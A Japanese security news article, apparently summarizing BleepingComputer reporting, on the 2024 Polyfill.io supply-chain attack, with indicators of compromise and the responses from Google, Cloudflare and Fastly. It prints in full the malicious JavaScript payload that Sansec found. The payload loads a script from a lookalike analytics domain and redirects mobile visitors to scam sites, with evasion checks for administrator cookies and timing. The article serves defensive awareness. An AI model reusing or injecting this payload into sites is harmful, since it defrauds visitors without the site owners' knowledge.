JavaScriptのライブラリ「Polyfill.io」がサプライチェーン攻撃に悪用 10万以上のサイトに影響

JavaScriptのライブラリ「Polyfill.io」がサプライチェーン攻撃に悪用 10万以上のサイトに影響

2024年6月25日 Polyfill.ioは2024年2月に中国の企業「Funnull」に買収され、そのスクリプトが改変されてサプライチェーン攻撃でウェブサイトに悪意のあるコードを送り込むようになっているとサイバーセキュリティコンサル企業の「Sansec」が警告しました。

JavaScriptのライブラリ「Polyfill.io」とは

「Polyfill.io」はネイティブではサポートされていない開発環境の機能を実装するコードです。ほとんどの場合、 HTML5またはCSSウェブ標準を実装するJavaScriptコードを指します。参照wiki

利用しているブラウザが新しいブラウザと同じ最新機能をサポートしていなくても、すべての訪問者が同じコードベースを使用できるようにしており、PHPやPythonでも使用されます。
上記のように使い勝手がよくサーバサイドのプログラミング言語との連携も可能なので、Polyfill.io は数十万のサイトで使用されています。

Polyfill.io サプライチェーン攻撃

さらに元の Polyfillプロジェクトの開発者は「

ウェブサイトでhttp://polyfill.ioを使用している場合は、直ちに削除してください。

私はPolyfill サービス プロジェクトを作成しましたが、ドメイン名を所有したことはなく、その販売に影響を与えることもありませんでした

」とツイートしています。

悪意のあるコードを注入

過去数ヶ月間で開発者の予測が的中し、polyfill.ioサービスは新しい所有者によってpolyfill.io.bsclink.cnにCNAMEが移行され、

さらに、あるウェブサイトの開発者は、新しい所有者が悪意のあるコードを注入し、ウェブサイトの所有者の知らないうちに訪問者を不正なサイトにリダイレクトしていることを発見しました。

かなり悪質なのが、GitHubで有志が悪意のある活動を指摘してもリポジトリから削除されます

悪意のあるペイロード例

Sansecが発見した悪意のあるペイロードは以下です。

※一部変数名はSansecが追加 なおtiaozhuanメソッドは中国語でジャンプ

function isPc() {
  try {
    var _isWin =
        navigator.platform == "Win32" || navigator.platform == "Windows",
      _isMac =
        navigator.platform == "Mac68K" ||
        navigator.platform == "MacPPC" ||
        navigator.platform == "Macintosh" ||
        navigator.platform == "MacIntel";
    if (_isMac || _isWin) {
      return true;
    } else {
      return false;
    }
  } catch (_0x44e1f6) {
    return false;
  }
}
function vfed_update(_0x5ae1f8) {
  _0x5ae1f8 !== "" &&
    loadJS(
      "https://www.googie-anaiytics.com/html/checkcachehw.js",
      function () {
        if (usercache == true) {
          window.location.href = _0x5ae1f8;
        }
      }
    );
}
function check_tiaozhuan() {
  var _isMobile = navigator.userAgent.match(
    /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
  );
  if (_isMobile) {
    var _curHost = window.location.host,
      _ref = document.referrer,
      _redirectURL = "",
      _kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
      _rnd = Math.floor(Math.random() * 100 + 1),
      _date = new Date(),
      _hours = _date.getHours();
    if (
      _curHost.indexOf("www.dxtv1.com") !== -1 ||
      _curHost.indexOf("www.ys752.com") !== -1
    ) {
      _redirectURL = "https://kuurza.com/redirect?from=bitget";
    } else {
      if (_curHost.indexOf("shuanshu.com.com") !== -1) {
        _redirectURL = "https://kuurza.com/redirect?from=bitget";
      } else {
        if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
          _redirectURL = "https://kuurza.com/redirect?from=bitget";
        } else {
          if (_hours >= 0 && _hours < 2) {
            if (_rnd <= 10) {
              _redirectURL = _kuurzaBitGet;
            }
          } else {
            if (_hours >= 2 && _hours < 4) {
              _rnd <= 15 && (_redirectURL = _kuurzaBitGet);
            } else {
              if (_hours >= 4 && _hours < 7) {
                _rnd <= 20 && (_redirectURL = _kuurzaBitGet);
              } else {
                _hours >= 7 && _hours < 8
                  ? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
                  : _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
              }
            }
          }
        }
      }
    }
    _redirectURL != "" &&
      !isPc() &&
      document.cookie.indexOf("admin_id") == -1 &&
      document.cookie.indexOf("adminlevels") == -1 &&
      vfed_update(_redirectURL);
  }
}
let _outerPage = document.documentElement.outerHTML,
  bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
  wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
  aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
  aplausix = _outerPage.indexOf(".plausible.io") != -1,
  statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
  ? setTimeout(check_tiaozhuan, 2000)
  : check_tiaozhuan();

侵害の兆候

https://kuurza.com/redirect?from=bitget
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/ga.js

偽サイトへリダイレクトされる

Sansecが確認した例では、変更されたスクリプトは主にユーザーを詐欺サイト(例えば偽のスポーツブックサイト)にリダイレクトするために使用されています。

これには、偽のGoogle Analyticsドメイン(www.googie-anaiytics.com)やkuurza.com/redirect?from=bitgetのようなリダイレクトが含まれます。

しかし、研究者によると、変更されたスクリプトは非常に特定のターゲティングを使用し、逆コンパイルに対する耐性があるため、完全に解析することは困難だと言います。

「このコードは逆コンパイルに対する特定の保護を持ち、特定のモバイルデバイスで特定の時間にのみアクティブになります」とSansecのリサーチャーは語っています。

Googleが広告主に警告

Google は、このサプライ チェーン攻撃について広告主に通知を開始し、ランディング ページに悪意のあるコードが含まれており、ウェブサイト所有者の知らないうちに、または許可なく訪問者を目的のサイトからリダイレクトする可能性があることを警告しています。

Google はまた、Bootcss、Bootcdn、Staticfile といった中国製のサイトでも意図しない不要なリダイレクトを引き起こすことが判明しており、サプライ チェーン攻撃の影響を受けるサイトが数千、場合によっては数十万増える可能性があると警告しています。

なおGoogle は、こういった悪意のある広告のリンク先の定期チェック中しており、悪質なリダイレクトが見つかった場合、関連する広告を不承認にするとしています。

SanSec の Willem de Groot 氏が見つけたShopify サポート フォーラムの投稿では、多数の広告主が、Google が 6 月 15 日頃から「googie-anaiytics(グーグルアナリティクスと似たドメイン)」へのリダイレクトを検出して広告を不承認にし始めたと報告しています。

また、スレッド内の他のユーザーは、問題の原因は Polyfill スクリプトであり、Google Ads ポリシーに準拠するためには削除する必要があると主張していました。

Google はpolyfill.io を使用する Eコマース サイトに対する Google 広告のブロックを開始

2024年6月25日、グーグルはpolyfill.io を使用する Eコマース サイトに対する Google 広告のブロックを開始しているとのこと

CloudflareとFastly が対策を講じる

潜在的なサプライ チェーン攻撃のリスクを軽減するために、CloudflareFastlyは、Web サイトが信頼できるサービスを使用できるように、Polyfill.io サービスの独自のミラーを設定しました。

しかし現在、cdn.polyfill.io ドメインは、不思議なことに Cloudflare にリダイレクトされています。ただし、ドメインの DNS サーバーは変更されていないため、所有者はいつでも簡単に自分のドメインに戻すことができます。

BleepingComputer は、CNAME レコードの変更に Cloudflare が関与しているかどうかを確認するために Cloudflare に連絡しましたが、返答はありませんでした。

引用:Polyfill.io JavaScript supply chain attack impacts over 100K sites

TOPへ